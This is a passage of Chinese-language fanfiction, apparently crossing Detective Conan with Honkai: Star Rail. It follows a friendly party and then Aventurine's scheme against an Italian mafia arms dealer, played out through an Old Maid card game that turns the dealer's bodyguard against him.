娜塔莉正巧就是工藤新一和毛利兰他们的外语老师。 “娜塔莉老师,”毛利兰倒是早听砂金说过他的监护人是谁,所以看到娜塔莉的时候只是很惊喜、没有什么疑惑,“下午好啊!” “下午好,小兰!” 娜塔莉正催促着伊达航去把烤箱里刚烤好的小饼干端出来,见到毛利兰后也是笑了笑,“要来尝尝刚烤好的曲奇吗?” “对了,厨房里还有多余的面点和馅料,小兰要不要亲手烤一点试试?”娜塔莉说道,“园子也正在里面尝试呢。” 既然是办派对,倒也就不用那么在意礼数了,毛利兰应着就跟了过去,“那当然再好不过了!” “柯南要一起来吗……” “不不不!我、我自己玩一会儿就好!” 柯南连忙拒绝,园子的手艺可是……很有杀伤力的,而且她还很喜欢找人评价一下哪里有待改进,柯南觉得他还是先不进去了的好。 正好,柯南也想再观察观察砂金是什么情况。 想着,柯南转着头就打算寻找砂金的身影,顺带着将挂着飘带装饰的客厅和期间的客人们也都打量了一遍。 听伊达老师说的,厨房里的应该是园子,那餐桌这边主要就是伊达警官他们在忙了, 客厅当央则席地坐着两位对着一地零机、飞快拼装着的陌生男人,一个卷发、一个半长发……柯南看着,总感觉两个人有点眼熟。 “嗨,小朋友!”紫色眼睛的半长发男人注意到了柯南这位小客人,朝柯南挥了挥手,“要过来一起吗?这可是最新款的FD等比例缩小模型!” 萩原研二没想到砂金这里会有这个,而砂金对着在礼品间翻出的限量款典藏版汽车模型想了好久、也没想起来这是在哪一次大采购中一句“我全要了”打包回家的, 毕竟这类模型也不便宜,砂金买东西则是专挑贵的打包。 见萩原研二喜欢,砂金干脆就送给了萩原研二他们,两个机械拼装发烧友、装饰完房间就凑在一起开始拼装了。 “不用啦,”柯南现在是越来越适应自己小孩子的身份了,抬手晃晃之间砂金塞到他手里的小盒子,“大哥哥你们看!我也有礼物的!” “hagi,那个小一号的水口钳递我一下。” “好嘞~” 见柯南婉拒,萩原研二没有强求,笑笑又专注起和幼驯染的手头活来。 柯南继续移动视线,找了好一会儿、才在楼梯那再次见到砂金和之前跟在他身边的又一个陌生男人不知聊些什么呢。 “喂、新……咳咳,柯南,”端着小蛋糕的阿笠博士凑了过来,“你在看什么呢?” “博、博士!”柯南被突然响在耳边的声音吓得头皮一炸,“你别走路不出声啊……” 说完,柯南抽抽嘴角,抽走了阿笠博士的蛋糕碟,“还有你少吃点高糖分的东西。” “哈哈……我、我这不是端来给你吃的吗,我当然有注意饮食,”阿笠博士尴尬地笑了笑,把叉子叉到还没来得及下嘴的蛋糕上、假装自己只是好心过来送蛋糕的,“对了,我看你一直盯着砂金先生看……” “他是有什么问题吗?” “现在没有,”柯南摇摇头,他现在最多只能证实砂金和之前的那个聊天室有关系,但具体什么关系…… 一概不知。 他一个小孩子甚至都拿不出砂金也是聊天室“目标”的证据——现在这副样子让曾经的工藤新一是处处受挫。 阿笠博士安慰道:“没有……那就放松一点啦,愁眉苦脸的对心情可不好。” 柯南叹气,“只能走一步看一步了。” …… “老师,那个孩子一直在看着我们,”柯南直勾勾的视线连阿笠博士都能发现,自然也瞒不过236 , 236有些紧张地朝砂金问道,“是我哪里暴露……” “停,你到现在为止做的都很好,”砂金靠在栏杆扶手上,制止了有些兴奋过头、而过于敏感的236 ,“从这往下看看,你感觉怎么样?” 两人站得都高,砂金的客厅又是一览无余型的设计,曾经这种设计让安室透和236被迫钻了桌子和橱柜,现在这种设计又让236将所有人看在了眼底。 老人和小孩子在窃窃私语;松田阵平和萩原研二拼急了想摔桌又不敢摔,怕把米粒大小的零件摔丢了,只能大气都不敢喘一下地拧着配件的小心翼翼; 伊达航和娜塔莉那边的恩恩爱爱;还有厨房里正在努力的两个年轻女孩的影子在晃晃悠悠…… “很好。” 236半天,憋出来了一个这样子的评价,真的很好,很平静安和。 有一起干坏事的共犯;有第一次见面却很热心的邻居;有只因为一时的兴起而愿意帮忙张罗、组织派对的朋友;有相处不多、但都很干净善良、愿意赴约的陌生人;还有相互理解包容、不是亲人胜似亲人的家人…… 等下他们还会在一起用餐,玩些小游戏,一起喝酒——当然,只是酒精饮料而已,砂金还贴心地为女孩子们准备了果茶——说说笑笑、玩玩闹闹。 想以前,236哪里见过这种场面, 派对?这种词汇从前从未出现在236的生命之中。 “是啊,是很好……”砂金也没笑236的词穷形容,只是突然道,“所以你真的想好了吗?” “……” 面对236回以的沉默,砂金没再问第二遍、便招呼着236下楼加入到那一片平和欢乐的世界里去,“那便趁现在享受一下生活吧,格查尔。” 236一如既往:“好的,老师。” 第87章 “我需要再考虑考虑。” 滋滋、刚燃了一半的烟头被纹着花臂的健壮胳膊按灭在了烟灰缸里,吉野浩太郎最后这么回应着埃多阿尔多.鲁索提出的“合理上调部分货款”的决议。 “咔嗞咔嗞……” “……当然可以,你可以慢慢考虑。” 穿着做工精良的黑色西装的白人男子翘着腿坐在吉野浩太郎的对面,听到吉野浩太郎没有马上应下的态度后也只是摊了摊一只手, “不过嘛,最好不要考虑的太久, ” “你知道的, 总会有人更爽快一点……” “咔嗞咔嗞……” “这就不劳你费心了,你还是多关心关心自己吧。”吉野浩太郎无视了埃多阿尔多.鲁索那口发音不太标准的言辞威胁与暗示, 埃多阿尔多.鲁索……能不能活到那个时候还不好说呢。 现在不少人都在观望,是埃多阿尔多.鲁索的命够硬、能扛到有大头经不住压力进行妥协, 还是埃多阿尔多.鲁索在作茧自缚、自取灭亡…… “咔嗞咔嗞……” 埃多阿尔多.鲁索自信他能在这一场对赌中赢下所有, “那我这也不用你多担心, 你还是等待我的好消息吧。” “希望如此,”吉野浩太郎随手端起桌前未动的酒杯虚空敬了敬,只保持了一个表面上的礼貌,并且打算结束这次的谈话。 埃多阿尔多.鲁索也有耐心,不急这一时、接收到吉野浩太郎不想多谈的信号后便也端起酒杯,“那便回见吧。” 只是…… 在酒杯磕碰到一起之前,又是一阵窸窸窣窣的咔嗞声响起, “咔嗞咔嗞……” 埃多阿尔多.鲁索忍无可忍地问道:“……其实我一开始就想问了,那边的几位是什么情况?” 吉野浩太郎和埃多阿尔多.鲁索的目光齐齐扭向大厅的另一侧,摆放着各种说是用来享用、但观赏性远大于食用性的果盘糕点的餐台上,三道人影正咔嗞咔嗞地啃着果子点心。 听到埃多阿尔多.鲁索这边的动静,金发异瞳,穿着黑色服饰、披着绒边暗纹大衣的漂亮年轻人咽下口中的甜点,偏过脑袋、歪了歪头, “你好, 朋友?” 埃多阿尔多.鲁索:“……”我不太好! 两方商谈的地点是埃多阿尔多.鲁索敲定的,为了公平……好吧,其实是为了安全,吉野浩太郎作为受邀一方有权携着一些自己的人手和部分武器进入会所, 不然埃多阿尔多.鲁索怕有人暗杀他,吉野浩太郎还担心埃多阿尔多.鲁索强买强卖、不同意交易就扣下人不让走了呢。 也因此,砂金他们有机会能被吉野浩太郎带到埃多阿尔多.鲁索的面前。 “我们聊完了,”吉野浩太郎起身将这张“桌子”让到砂金手上,“剩下的你们聊……” “等等,他们不是你的部下?”埃多阿尔多.鲁索眉头紧蹙,“这不符合规矩……” “行了吧,你的所作所为也不符合规矩,”吉野浩太郎嗤笑了一声,“就当我给你介绍了个新买家好了,其他的你们自己解决。” 吉野浩太郎不能当那个持刀人,但没说他不能当递刀人啊。 说完吉野浩太郎干净利落地带上自己的人手就走,他不会站在埃多阿尔多.鲁索这边,但也不会留下任何人去帮助砂金, 就像吉野浩太郎说的那样,“自己解决”——他只递刀,但不会参与到两者的纠纷之中,是刀碎还是人亡,与他及背后的势力均无关系。 吉野浩太郎走得痛快,埃多阿尔多.鲁索见此抬手就想示意身后待命的部下、将不在名单内的几人赶出去,他不打算在这种关键时刻再整出变故。 “别急着赶人嘛,朋友?”面对好几把对准了自己的枪口,砂金无奈地放下餐点,“这不是等你们聊完、等得有些久了才寻了点吃的解闷吗,别那么小气。” 才没有那么小气的埃多阿尔多.鲁索:……谁是因为你吃得多了才赶人的啊? ! “好了好了,我不开玩笑了,聊些正事总可以了吧……” 迎着枪口、砂金闲庭信步……身后同样放下了碟盘,戴着面具的松田阵平下意识想跟上去把人护住,身侧同样做了易容伪装的236却伸手拉住了松田阵平。 快乐的时光总是过去的很快——砂金的派对举办的很成功,有砂金和萩原研二两个极擅交际的人在、也不可能冷场或让任何人觉得不适, 就连最不合群的236都愿意参与到游戏中,并在讲冷笑话比赛中打败了强劲的对手、铃木园子,取得第一名的优秀成绩、成功赢下了砂金亲自烤制的幸运小饼干一碟。 顺便一提, 236那晚傻笑着啃掉了他赢回来的所有奖品。 痛失幸运饼干的铃木园子、则得到了萩原研二这个另一风格的大帅哥做的鼓励奖汽车小饼干,也算有所安慰了。 最后散场的时候,每个人都玩得很开心。 放松过后,派对上的笑声便成了调剂心情的小插曲,接下来的硬战还是要打的。而吉野浩太郎那头给的消息也是能带人, 但吉野浩太郎自己的部下肯定也是要跟着的,分给砂金的名额便不会很多——只有三个。 砂金必须是三人中的一人,最了解埃多阿尔多.鲁索那边情况的236也要占用掉一个位置, 而松田阵平和萩原研二讨论了很久,最终松田阵平用拳头和正经道理赢得了这场胜利,成为了最终的人选, 车技最好的萩原研二则被松田阵平赶去开车,准备随时接应他们、准备逃亡之旅。 至于伊达航,他在一开始就被萩原研二和松田阵平两票投了出去……这一次终于是“少数服从多数”了,伊达航搬出了班长的架子都没能抢到这最后一个名额。 原因很简单,因为娜塔莉。 班长和他们可不一样,松田阵平及萩原研二的态度很强硬,用脚趾头想、都知道直面埃多阿尔多.鲁索的危险程度有多大,更何况他们还是抱着抓捕埃多阿尔多.鲁索的打算去的, 什么枪战啊、什么火拼啊,随时都有可能发生,而伊达航又比他们多了一个家庭,要是班长出了什么事、就算萩原研二有张巧嘴也不知道该怎么和娜塔莉解释, 更何况一开始想要调查埃多阿尔多.鲁索的人本就是他们两人,松田阵平不想因为自己的私事而让班长担上那么大的风险, 这便就是松田阵平和236、以及砂金出现在这里的始末缘由了。 第88章 松田阵平被236拦下,但有人还在继续着自己的戏幕。 “朋友,过河拆桥可不是什么好习惯呐~” 砂金摊开双手、语气里无奈极了,“怎么说,您发的这笔财里也有我的功劳吧,直接赶客可不好、不如我们坐下来再都好好地聊一聊?” 听砂金这么一说,是个人都会下意思打量一下对方、想着凭什么“有他的功劳” ,埃多阿尔多.鲁索也不例外。 而这么一打量,埃多阿尔多.鲁索眯了眯眼…… 金发异瞳、又长得很漂亮的年轻人, 这不就是“熟人”吗? 真算起来,砂金说的那话还真没说错, 没有砂金和八木海、安室透几人的“出力”, 埃多阿尔多.鲁索还真遇不上这“天赐良机”。 想赶人的心思是真的降了下来,埃多阿尔多.鲁索倒也好奇砂金来找他是想些做什么, 总归是在自己的地盘上,埃多阿尔多.鲁索想砂金这区区两、三个人,也闹不出来什么水花。 举着枪的护卫在埃多阿尔多.鲁索的示意下默默退后,让出了砂金走到埃多阿尔多.鲁索面前的道路,砂金很识趣得走到之前吉野浩太郎落坐的位置前时便不再向前, 再靠近一些,靠近“警戒线”、那站在埃多阿尔多.鲁索背后的那个男人就要动了。 那是个瘦瘦高高、和236身形很像的年轻金发男人,对方是埃多阿尔多.鲁索最近新买下来的“保镖”,和236曾经出身在同一所训练营,区别不过在于236逃出来了、而对方没有。 236很认真地告知了砂金几人,如果要杀掉埃多阿尔多.鲁索,这位236曾经的同行是最大的阻碍, 236坦言、他打不过对方。 坐下后的砂金单手撑着下巴,看了看给了埃多阿尔多.鲁索自信的依仗——沉默的保镖先生依旧毫无人气的站在那里,桌前的摆件都比对方要像是个人, 如非砂金一开始的目标就是对方,恐怕也会忽略掉对方吧? 人类也真是个奇怪的存在,人类一直标榜人与其他动物的最大不同之处就在于“人是一种感情生物”,但总有人立志于砍去那些“多余的枝芽”、让人变得不像是个人, 明明好用的工具有很多,但那些人总是不知足的——而这种人,不管是在茫茫的星际中、还是一颗小小的星球上,总是不会少的。 “要聊什么正事。”显然埃多阿尔多.鲁索不太满意砂金将注意力放在一个背景板身上,哪怕那个背景板能保他的命也一样, “都是在条子那里混上锦旗了的人了,”埃多阿尔多.鲁索嘲讽道,“不会还想着和我们这些人狼狈为奸、同流合污吧?” 松田阵平则再次为砂金的“人情”实力感到震惊——虽然埃多阿尔多.鲁索说话不怎么好听,但两个人还是搭上了话的。 砂金之前到底做了些什么,吉野浩太郎能卖他一个面子,还有能制作以假乱真的人皮面具的神秘人暗中相助, 现在连埃多阿尔多.鲁索这个明知砂金和警察有关系的目标本身都愿意看在砂金的份上,愿意坐下来聊一聊。 难怪砂金说他不需要伪装……松田阵平想,砂金这张脸、起码解决了百分之九十的问题。 “现在讨口饭吃可不容易啊,伙计,”砂金收回视线,“那些警察……规矩超多的,这不允许、那不可以,我还没想干点什么呢、都恨不得拿警戒线把我走过的地方全圈起来,” “拜托,我一个小人物哪里值得这么大的仗势?” 砂金苦恼地道,“但是混迹点别的什么,又总有人记得我那个提不上牌面的成名秀,总担心我是不是警方那边派来钓鱼的、不愿意和我合作,我真是有苦说不出啊。” 毕竟,谁都会害怕自己成为下一个被抓的人。 埃多阿尔多.鲁索晃晃酒杯,“所以?” “所以我打算办件大事,杀个人、放个火什么的……我至少得证明我不是只接警方那边的委托、只帮警察干活的那种人,对不?” 砂金的理由貌似很合理,但埃多阿尔多.鲁索不买账,“你说的这些,和我又有什么关系?” “怎么会没关系,朋友?”砂金手指一翻、将一枚突然出现的筹码押在了两人面前的桌子上,“首先呢,想杀人放火、必须得有武器吧?” “这方面,那些警察连半颗子弹都不愿意给我……”砂金还有点委屈地抱怨了两句,“想我帮了他们那么多的忙,连这点小事都不愿意满足我,真是令人心寒啊。” 埃多阿尔多.鲁索很难评价砂金的发言:……他们给你了才是怪事好吧! “那我就要自己买武器了,可是买武器就要有渠道,”砂金紧接着押下第二枚筹码,“现在还有胆量敢出售违禁物品的人可不多,这也是个难事。” “最后,” 第三枚金光闪闪的筹码被砂金推至桌前,“好不容易找的渠道,售价又是个我负担不起的可怕数字,朋友你看……” 砂金手一摊,“这三大问题,就是我来找你的原因了。” 埃多阿尔多.鲁索挑眉,“那你的意思是?” “只要朋友你轻轻地点个头,” 清脆的响指声一打,桌面上的三枚筹码竟然当着埃多阿尔多.鲁索的面凭空消失,埃多阿尔多.鲁索不禁微缩了下瞳孔,其身后屹立的瘦高人影猛地抽动、脚尖蹬上沙发的椅背,黑影带起风声窜出! 同一时刻,落后几步的236同步踏出脚步,寒光自指尖乍现! 锵——! 短刀和金属物件碰撞出声, 瘦高男人甩起的腿鞭重重压下、将236的肩膀硬生生地砸歪了几分,另一手的枪口欲要直逼砂金的太阳穴,而236一手扣住对手的脚腕,另一边向上架起的短刀却刚好卡在了手/枪的枪管下方, 男人抽身不得、用力下压枪管,236亦无法脱身而选择与之角力……一时不分胜负。 瞬息的“切磋”眨眼间便已过去,待埃多阿尔多.鲁索再次凝神之时,方才见那三枚消失的筹码、静静地躺在了他手持的酒杯之中,金光闪闪的酒液下是同样闪着光点的金属筹码。 “你看,”端坐在沙发下的砂金歪了下头,仍由耳边因两人打斗时带起的劲风而扬起的发丝才悠悠落下、笑意不变,“所有的问题……” “这不就都解决了吗?” 第89章 好一个都解决了……埃多阿尔多.鲁索沉默地放下杯子、半晌儿不想接话。 他好不容易、冒着生命危险才提上来的价格,怎么可能因为砂金的一两句话就再专为砂金一人再降下去? “魔术玩得不错,但是……”埃多阿尔多.鲁索最后这么说道,凭什么砂金觉得自己会配合对方呢? “孔雀, 你未免把自己看得太重了点吧?” 因为这神不知鬼不觉的丢硬币手法? 他也不是从小吃素长大的、一点点恐吓就能喝退他,他买来的家伙完全可以保护好他,退一步说、就算这家伙不中用了,他身后的那些持枪保镖也不是装饰品, 埃多阿尔多.鲁索不信砂金和对方带来的那两人能在他的地盘上、把他怎么样。 “别那么严肃,我亲爱的朋友……”砂金摆了摆手,示意236退下, “我只是来谈生意的,又不是来结仇的。” 236松开了对手的脚踝,对方见砂金几人没有对雇主有敌意的态度后、也收回手重新站在了埃多阿尔多.鲁索的身后当壁画——但有了刚刚的那一场电光火石的交锋,没有人会再忽视他了。 埃多阿尔多.鲁索:“我可没看出来你有半点是来谈生意的样子。”倒挺像是来有意找茬的。 “好吧好吧, 那我就直说了, ”砂金摊牌,“我知道你现在最耗不起的便是时间,和那些雇客们拖得越久、变数也就越多……” “你需要一个能帮到你的说客。” 埃多阿尔多.鲁索听懂了砂金的毛遂自荐,“你能帮到我什么?一个给警察办事的看门狗?” “今天是吉野先生带我入的场,”砂金突然提了一个所有人都知道的事实,而接下来的几句话瞬间让埃多阿尔多.鲁索变了脸色,“几天前, 和你进行商谈的是泥参会的干部毒岛小姐,再早一些是……乌鸦,” “明天你又会和乌鸦的那个神秘女人进行二次会谈, 大后天则是石?集团的高层领导石……” “够了!”埃多阿尔多.鲁索黑青着脸叫停了恨不得把他之后的行程全部报一遍的砂金,他怎么也想不到砂金的消息怎么会这么灵通。 “我没有别的意思,我只是想说,”砂金左手间又冒出了枚筹码把玩着,“你看、我的朋友很多对吧?” 埃多阿尔多.鲁索读懂了砂金的潜台词,“你知道的全是他们亲自告诉你的?” “如果今天我们谈不拢的话,”砂金避而不谈、没承认也没否认,反而是换了个话题,“明天美丽的乌鸦小姐自会带上我,和您再进行第二次谈话。” 眼角狠狠地一抽,筹码跳跃的闪光晃得埃多阿尔多.鲁索有些花眼,他知道砂金这是赖定他了, 一次不成、对方还会再来第二次! 而且, 见鬼的!他的人脉怎么能这么广? !埃多阿尔多.鲁索无法理解本土极道的这些人在想什么,不敢和孔雀结伙、所以就把人全推到他手上? 事实上……砂金当然没那么多的“朋友”, 混黑的朋友里他就认识个吉野浩太郎和贝尔摩德,其他人的名字和会客时间安排是八木海从埃多阿尔多.鲁索的电脑里扒出来的。 砂金只是好运正好认识了吉野浩太郎和贝尔摩德这两个特殊又关键的人物,稍加误导一下、就能有很不错的收获和效果。 比如现在,埃多阿尔多.鲁索就误以为砂金真的认识每一个交易对象、并且关系都很不错,不错到对方会愿意坏了规矩而把砂金带到他面前来。 同时埃多阿尔多.鲁索也不敢真把砂金怎么样了——因为他还是有几分忌惮那个神秘的女人的,要是让贝尔摩德知道他杀了她看好的人…… 埃多阿尔多.鲁索也不能保证贝尔摩德不会借题发挥、大算他提价之账而来找他的麻烦。 朋友是埃维金人的武器……砂金勾了勾唇,在心底对吉野浩太郎和贝尔摩德道了声歉,所以希望两位不要介意他小小的“狐假虎威”才好。 现在,砂金想更大胆一点,直接空手套白狼…… “朋友,现在你觉得我这位说客够资格了吗?”砂金笑眯眯地问道, 当说客……那当然是不可能的,但让埃多阿尔多.鲁索以为他能当的办法可太多了,砂金从来不缺乏诡计和运气。 埃多阿尔多.鲁索如砂金所料那般陷入了沉思,若真如砂金所言、他与每个买家都能说得上几分话,那当这个说客……对方还真的够格。 可若破例对砂金放开价格,就相当于落了个要命的把手在这个似狐似蛇的狡诈恶徒手中,要是其他人知道他没有“一视同仁”,甚至收买砂金这个说客去说服那些人当买高价货品的冤大头, 那可就太好了,埃多阿尔多.鲁索就不用担心会不会被暗杀了, 因为远在意大利的教父会连夜坐直升机飞过来、给他的脸颊上印下“死亡之吻”,然后一枪毙了他这个“有意挑拨本部与各组织之间关系”的叛徒、清理门户。 更何况如此行事,日后也难免会受砂金的牵制……埃多阿尔多.鲁索现在是一点都不敢小瞧了这位孔雀,对方确定有“扬名”的资本和胆量。 所以,是接受砂金后患难料的“毛遂自荐”,还是冒着风险再扛一段时间…… 埃多阿尔多.鲁索落到了一个两难的境地,生命危险不可小觑,越早谈完、越早回到意大利自然越好越安全,可埃多阿尔多.鲁索身为一硕大黑手党高层的自傲和谨慎又使他不甘对砂金妥协。 而自命为埃多阿尔多.鲁索朋友的砂金当然不会继续让好朋友难做,这个时候就给对方该递个下台阶的梯子了, 同时也是……筹码被高高弹起、又被砂金一把抓住,下下一个套的时候了。 砂金牵着话头和埃多阿尔多.鲁索的思路,响尾蛇轻晃着尾端的响环……不动声色、不显分毫地将已锁定的猎物缓缓引诱至毒牙之下, “这样吧,”砂金向埃多阿尔多.鲁索摊开手掌,原先活泼的筹码这时安静的躺在砂金的手心里、好像代表了砂金的妥协,“我也不让朋友难做,那不如,” “就用我们身为赌徒都最为熟悉的赌局……” 异色诡谲的眸子含笑,毒蛇张开了獠牙,“来玩一个小小的游戏、赌一把吧?” 埃多阿尔多.鲁索下意识顺着砂金递出的梯子而下,“什么赌局?” “您每赢一把,我无偿为您担当说客、说服一位您的贵客,我赢、那您也为我行个方便,”砂金反问道,“您觉得怎么样?” 靠打赌来决定结果吗……埃多阿尔多.鲁索考虑起来,这么说来输一两把也就降点价、而且降的“名正言顺”, 要是有好事者挑事、就说给砂金和给别人之间的差价是他还得赌资,砂金反水咬他一口的风险会降下不少, 赢上一两把,也能加快搞定一切的速度和效率…… 输赢都不亏的赌盘对普通人而言都是足以致命的诱惑,更不必提对赌徒而言了。 左右摇摆一阵后、埃多阿尔多.鲁索敲定了主意,“好,那你说说看、你想怎么赌?” “痛快,”砂金放下了手中的筹码,一切如他所料,“那就抽鬼牌吧,简单、玩上一轮结束的时间也快。当然当然、牌由你来准备,不用担心我会动手脚,” “这场游戏,绝对公平。” 猎物,入套了。 第90章 “两个人玩节奏有点慢了, ”看着埃多阿尔多.鲁索叫来的专业荷官洗着牌,砂金又建议道,“叫上这位一起吧,我也带上格查尔……四人一桌。” 松田阵平被砂金排除在外、成了真正的透明背景板人物, 砂金……实在有点怕了松田阵平那张毁气氛的嘴了, 出发前,砂金对松田阵平这个不放心的跟随人员只有一个要求——别说话。 松田阵平:……切, 我还不稀罕和你们玩呢。 埃多阿尔多.鲁索没意见,四个人的确比两人更容易更早丢完牌,两两组队也不难判胜负。 荷官沉默着进行发牌,拿惯了武器的“保镖”先生呆了呆,显然他没怎么握过牌,站在埃多阿尔多.鲁索这位雇主身边就像是电脑程序出错了一样、有些不知所措。 再看看砂金身边听话认真的236 ,埃多阿尔多.鲁索觉得有点落面子, “站那么远做什么、蠢货!” “保镖”迟顿地眨下眼,但仍是默默地往埃多阿尔多.鲁索身边又走近了一步,然后又不知道要做什么了,埃多阿尔多.鲁索青筋一跳, 如果不是为了安全考虑,他是真不想带着这个除了武力还不错之外、一无是处的死板家伙。 “噗,这位朋友也很可爱嘛~”砂金笑了笑,“玩玩而已, 别紧张。” 费劲心思砍去了那些“多余的枝芽”、又要怪树木长得太过笔直、不合心意,人嘛……总是不知足的。 “我也很可爱,”236突然出声, 弯腰凑到砂金身边,“您可以多看看我。” 砂金抬手揉了下莫名吃醋的“小朋友”脑袋,这下轮到埃多阿尔多.鲁索开口了,“你的这位下属到也不错,我很少见到能直接拦下他的家伙。” 相比较自家这个毫无感情波动的机器人,埃多阿尔多.鲁索更青睐236这种类型的下属。 “格查尔他唯一的缺点就是太黏人了,”砂金说着像是在抱怨、但在埃多阿尔多.鲁索听来更像是在炫耀,“别人的话都不听、就听我一个人的,让朋友见笑了。” “保镖”也只听埃多阿尔多.鲁索一个人的,但埃多阿尔多.鲁索依旧不信任对方——对方太像一把刀了,好像谁拿着他都可以命令他去杀人。 “不过我也少见能和格查尔打个不分上下的人,”砂金炫耀完、一边摸过牌又将话题引回到目标身上,“不知道朋友是从哪找到的这样的人才的?” 抽鬼牌是个规则很简单的游戏,每名玩家都看不见其他人手中的牌,而玩家需要做的就是在盲抽的过程中避开他人手中的鬼牌,尽可能的抽到其他牌与自己手中的牌凑成对打出去, 率先打出所有牌的玩家为胜者,鬼牌最后落在谁手中、谁就是输家。 抽牌的过程其实是有些无聊的,除了单纯的抽牌丢牌外、表情语言等等也都是抽鬼牌游戏中很关键的一环, 有实力的玩家可以通过对手的微表情等细节分析自己选择的这一张是鬼牌还是好牌,以此决定最后抽走哪一张。 所以埃多阿尔多.鲁索也便顺势聊闲着,“不值得一提,只胜在好用一些吧。” 聊归聊,关键信息埃多阿尔多.鲁索当然不会随意泄露。 “好吧好吧,”砂金面色如常地将从埃多阿尔多.鲁索手中抽到的小丑牌捏在手里,抽牌的次序是交叉进行的,下一位是“保镖”先生。 从来没自己做过选择的“保镖”先生在第一轮抽牌中就入了僵持,捏着自己手上的牌、再盯着砂金的牌一动不动。 曾经经历过类似情景的236太了解这种状态是因为什么了, 脑子里没有“选择”的概念,但主人的命令又必须去“选择”,所以……“选择”又是什么? “放轻松点、朋友……” “快点抽一张,别浪费时间!”埃多阿尔多.鲁索有点后悔把这个木头人拉进赌局里了,但又放不下面子反悔,只能暗暗希望胜率不要被对方拉得太低。 抽一张……“保镖”僵硬的动作完全没了之前护主时的凌厉,而且运气很不好地又从砂金手中将那张鬼牌抽了回去。 下一个是236从“保镖”这里抽牌, 236可比对方运气好了不少,鬼牌依旧留在了“保镖”手中…… 一轮游戏结束。 埃多阿尔多.鲁索面色不太好地注视着自己手下手里的那张小丑,他明明看着砂金从他这里抽走了这张牌的、结果这张牌又到了“保镖”手上! 这个废物……埃多阿尔多.鲁索暗骂了一声,这局因为“保镖”的失误输了。 “第一次玩,输了很正常……”砂金火上浇油式的安慰道,“我只压掉原价的5%好了,那继续?” 埃多阿尔多.鲁索:“继续!” 第二轮,埃多阿尔多.鲁索自己没拿到鬼牌,但鬼牌还是落在了“保镖”手中。 埃多阿尔多.鲁索:“……” “我其实也没抽到小丑,”砂金继续安慰,“应该是这位朋友运气不好,一开始就发到他手上了吧,没关系、再压5%,继续继续。” 第三轮,鬼牌被发到了236手上, 236抬头看了看砂金、没说话,但砂金懂了,只是笑着没做指示——指示了的话那可就是在作弊了。 但埃多阿尔多.鲁索也看懂了236的动作,随后小心谨慎地从236手中抽牌…… 然而236面对砂金之外的人就是一张面瘫脸,埃多阿尔多.鲁索看不出什么,并且运气不太好的从236抽走了小丑,甚至留到了最后。 埃多阿尔多.鲁索:“……啧。”又输了。 “做得很好,”砂金奖励式地再次揉揉236的头,“还是5%?” “继续……等等,”埃多阿尔多.鲁索又道,“次序反过来。” 砂金没有意见,“没问题,换换顺序也许会更好运一些。” 然而第四轮,就差一张就能将牌出完了的埃多阿尔多.鲁索从砂金手上抽到了小丑。 “这次可真惊险啊,”砂金拍拍胸口,那种带一点甜腻恶意的声音直往埃多阿尔多.鲁索脑子里钻,“我还以为这次输定了呢,毕竟我最后一把是从保镖先生那抽到的小丑,没想到……” 没想到马上就要赢了的埃多阿尔多.鲁索能这么倒霉。 埃多阿尔多.鲁索忍不住怒瞪了一下没什么反应的下属,该死的蠢货、看到鬼牌了就不会给他个提示吗? ! 要是“保镖”像236那样给他一个眼神,告诉他鬼牌在砂金那,埃多阿尔多.鲁索自认他绝不会因为马上就要赢下这场赌局而大意地抽到小丑! 埃多阿尔多.鲁索重重拍了下桌子,“继续!” 砂金微笑着,“好啊,那就继续吧。” 接着第五轮、第六轮…… 那张小丑牌见了鬼似的,不管埃多阿尔多.鲁索怎么换抽牌的顺序,十次至少有六次在“保镖”先生手上,剩下四次由236和埃多阿尔多.鲁索平分, 埃多阿尔多.鲁索:“……idiota!”这个白痴!是一点用都没有! 货比货得扔,人比人得死……和236这么一做对比,原本就不怎么满意“保镖”先生的埃多阿尔多.鲁索现在是怎么看他、怎么不顺眼, 为什么他不能再机灵一点? 为什么总是在拖他的后腿? 为什么都是部下,他不能做到像孔雀的部下那样让他安心? “玩玩而已,别那么大火气啊,”砂金单手撑着脸,“我还挺喜欢这么直率好懂的孩子的,” “嗯嗯,也喜欢你。”在236发话前,砂金及时端了水。 236垂眉握了握手心里被砂金塞过来的筹码,这两天砂金一改之前的冷漠、对他满是包容的态度让他忍不住勾着嘴角笑着。 236和砂金心情不错,但埃多阿尔多.鲁索可没有这个闲情逸致,更让埃多阿尔多.鲁索憋火的是他都已经气压低到这种程度了、“保镖”依旧没有什么特殊的反应, 当真是一块木头人。 砂金反而注意到了每一张经手“保镖”先生的纸牌上的一角、折痕越来越明显——虽然脸上没有表情,但他正在害怕和紧张。 时机差不多了,砂金开玩笑一般地说道,“看朋友你不怎么喜欢这孩子,要不然开个价让我带走吧?我觉得他还挺合我眼缘的。” 能不合你眼缘吗?埃多阿尔多.鲁索输过头了、怒气中烧地腹议着,输得又不是你…… “哦,抱歉……”砂金刚说完又很快改口,“是我失言了,这么可爱的孩子怎么可能随便就能买走了,就像格查尔一样,就算我说将他送给朋友、格查尔也一定还会回来找我的,” “是这样吧,格查尔?” 236伏身用脸颊蹭了蹭砂金的手背,“当然如此。” 这……埃多阿尔多.鲁索还真不能肯定“保镖”会不会这么忠心,但在砂金面前他当然不能露出任何的迟疑,他必须是那个上位者,“这是当然,不护主的狗养来做什么。” 随后埃多阿尔多.鲁索随及半玩笑半确认性地向“保镖”道,“我把你送给孔雀,你也一定是不乐意的吧?” 埃多阿尔多.鲁索想从这块木头口中,听到和砂金的那位下属一样的回答。 而就是这么一念之差、一时的试探崩掉了全局。 砂金眼睛一眯、亳不迟疑地立即开了口,“那我便收下了。” “Cambia proprietario,”236在下一秒吐出了简短但指令性极强的短语,埃多阿尔多.鲁索未曾想过会在孔雀的手下口中听到这串熟悉的语言, “idilo!” 换主、杀了他——! 短短几个词像是激活了程序的最后代码,“保镖”自赌局开始便微颤的手指停下来了、无神的眼睛微亮。 “等等!”埃多阿尔多.鲁索惊觉到了他刚刚的失误,来不及想别的、他只想否认,“我没有——” 然而埃多阿尔多.鲁索的声音戛然而止。 —————————— “这样能行吗?” 起草计划安排的伊达航快把眉头拧成一团疙瘩了,“不可控性太高了,而且太过被动……你没想过要是埃多阿尔多.鲁索不上套怎么办?” 砂金真正的目标,是这位“保镖”、而非埃多阿尔多.鲁索本人。 在“保镖”的保护之下,除去埃多阿尔多.鲁索是一件难事,但如果除去埃多阿尔多.鲁索的人就是这位“保镖”本身呢? 所以砂金想要做的就是用诡计、将这把刀骗到自己手上。 